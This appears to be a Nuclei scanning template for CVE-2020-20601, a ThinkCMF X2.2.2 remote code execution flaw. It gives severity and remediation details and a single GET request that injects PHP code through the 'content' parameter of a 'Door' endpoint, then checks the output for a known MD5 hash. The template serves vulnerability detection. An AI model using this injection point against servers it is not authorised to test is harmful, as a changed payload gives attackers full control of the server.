Description
ThinkCMF X2.2.2 and below contain a remote code execution caused by processing crafted packets, letting attackers execute arbitrary code remotely, exploit requires sending malicious packets.
ThinkCMF X2.2.2 and below contain a remote code execution caused by processing crafted packets, letting attackers execute arbitrary code remotely, exploit requires sending malicious packets.
id: CVE-2020-20601
info:
name: ThinkCMF X2.2.2 - Remote Code Execution
author: pikpikcu
severity: critical
description: |
ThinkCMF X2.2.2 and below contain a remote code execution caused by processing crafted packets, letting attackers execute arbitrary code remotely, exploit requires sending malicious packets.
impact: |
Unauthenticated attackers can execute arbitrary PHP code on ThinkCMF servers, leading to complete server compromise and access to all website data.
remediation: |
Upgrade to ThinkCMF version X2.2.3 or later.
reference:
- https://www.shuzhiduo.com/A/l1dygr36Je/
- https://blog.riskivy.com/thinkcmf-%e6%a1%86%e6%9e%b6%e4%b8%8a%e7%9a%84%e4%bb%bb%e6%84%8f%e5%86%85%e5%ae%b9%e5%8c%85%e5%90%ab%e6%bc%8f%e6%b4%9e/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2020-20601
cwe-id: CWE-94
epss-score: 0.07598
epss-percentile: 0.94234
cpe: cpe:2.3:a:thinkcmf:thinkcmf:x2.2.2:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: thinkcmf
product: thinkcmf
tags: cve,cve2020,thinkcmf,rce,vuln,vkev
http:
- method: GET
path:
- "{{BaseURL}}/index.php?g=g&m=Door&a=index&content=<?php%20echo%20md5('ThinkCMF');"
matchers-condition: and
matchers:
- type: word
words:
- "d9b2c63a497e2f30c4ad9ad083a00691"
- type: status
status:
- 200
# digest: 4a0a00473045022100a98583c3609859544a6d7cc9db93eb4e8707fef627713bcd2fcc28a5530a31a60220364f5bb016fec0f702aad9f4090de787ad38c2d3ab6fa89460e90602035e71d2:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.